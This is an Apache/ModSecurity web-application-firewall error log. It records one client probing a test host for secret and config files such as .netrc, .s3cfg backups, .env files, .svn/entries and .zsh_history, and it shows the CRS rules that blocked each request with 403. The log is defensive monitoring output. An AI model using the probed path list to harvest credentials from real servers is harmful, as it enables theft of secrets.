[Sun Jun 29 20:14:23.457770 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.netrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .netrc found within REQUEST_FILENAME: /.netrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MXQAAAAI&quot;]
[Sun Jun 29 20:14:23.458012 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MXQAAAAI&quot;]
[Sun Jun 29 20:14:23.458202 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MXQAAAAI&quot;]
[Sun Jun 29 20:14:23.627304 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.s3cfg.bak&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MZAAAAAI&quot;]
[Sun Jun 29 20:14:23.627662 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.s3cfg.bak&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MZAAAAAI&quot;]
[Sun Jun 29 20:14:23.627859 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.s3cfg.bak&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MZAAAAAI&quot;]
[Sun Jun 29 20:14:23.659409 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.s3cfg.old&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MZQAAAAI&quot;]
[Sun Jun 29 20:14:23.659757 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.s3cfg.old&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MZQAAAAI&quot;]
[Sun Jun 29 20:14:23.659960 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.s3cfg.old&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MZQAAAAI&quot;]
[Sun Jun 29 20:14:28.597331 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aGGChK1XEc-sC3fb0P3MagAAAAI&quot;]
[Sun Jun 29 20:14:28.597622 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aGGChK1XEc-sC3fb0P3MagAAAAI&quot;]
[Sun Jun 29 20:14:28.597837 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aGGChK1XEc-sC3fb0P3MagAAAAI&quot;]
[Sun Jun 29 20:14:28.621253 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.travis.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aGGChK1XEc-sC3fb0P3MawAAAAI&quot;]
[Sun Jun 29 20:14:28.621495 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aGGChK1XEc-sC3fb0P3MawAAAAI&quot;]
[Sun Jun 29 20:14:28.621704 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aGGChK1XEc-sC3fb0P3MawAAAAI&quot;]
[Sun Jun 29 20:14:28.644101 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aGGChK1XEc-sC3fb0P3MbAAAAAI&quot;]
[Sun Jun 29 20:14:28.644366 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aGGChK1XEc-sC3fb0P3MbAAAAAI&quot;]
[Sun Jun 29 20:14:28.644557 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aGGChK1XEc-sC3fb0P3MbAAAAAI&quot;]
[Sun Jun 29 20:14:33.483917 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.zsh_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .zsh_history found within REQUEST_FILENAME: /.zsh_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zsh_history&quot;] [unique_id &quot;aGGCia1XEc-sC3fb0P3McgAAAAI&quot;]
[Sun Jun 29 20:14:33.484158 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zsh_history&quot;] [unique_id &quot;aGGCia1XEc-sC3fb0P3McgAAAAI&quot;]
[Sun Jun 29 20:14:33.484372 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zsh_history&quot;] [unique_id &quot;aGGCia1XEc-sC3fb0P3McgAAAAI&quot;]
[Sun Jun 29 20:14:55.494558 2025] [:error] [pid 3205368] [client 185.177.72.107:35796] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/access.log&quot;] [unique_id &quot;aGGCn_U4kcQDYAJF_ch6_QAAAAo&quot;]
[Sun Jun 29 20:14:55.494910 2025] [:error] [pid 3205368] [client 185.177.72.107:35796] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/access.log&quot;] [unique_id &quot;aGGCn_U4kcQDYAJF_ch6_QAAAAo&quot;]
[Sun Jun 29 20:14:55.495090 2025] [:error] [pid 3205368] [client 185.177.72.107:35796] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/access.log&quot;] [unique_id &quot;aGGCn_U4kcQDYAJF_ch6_QAAAAo&quot;]
[Sun Jun 29 20:14:55.593293 2025] [:error] [pid 3205368] [client 185.177.72.107:35796] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aGGCn_U4kcQDYAJF_ch7AQAAAAo&quot;]
[Sun Jun 29 20:14:55.593533 2025] [:error] [pid 3205368] [client 185.177.72.107:35796] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aGGCn_U4kcQDYAJF_ch7AQAAAAo&quot;]
[Sun Jun 29 20:14:55.593712 2025] [:error] [pid 3205368] [client 185.177.72.107:35796] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aGGCn_U4kcQDYAJF_ch7AQAAAAo&quot;]
[Sun Jun 29 20:14:55.648733 2025] [:error] [pid 3205368] [client 185.177.72.107:35796] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aGGCn_U4kcQDYAJF_ch7AgAAAAo&quot;]
[Sun Jun 29 20:14:55.648892 2025] [:error] [pid 3205368] [client 185.177.72.107:35796] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aGGCn_U4kcQDYAJF_ch7AgAAAAo&quot;]
[Sun Jun 29 20:14:55.649120 2025] [:error] [pid 3205368] [client 185.177.72.107:35796] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aGGCn_U4kcQDYAJF_ch7AgAAAAo&quot;]
[Sun Jun 29 20:14:55.649305 2025] [:error] [pid 3205368] [client 185.177.72.107:35796] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aGGCn_U4kcQDYAJF_ch7AgAAAAo&quot;]
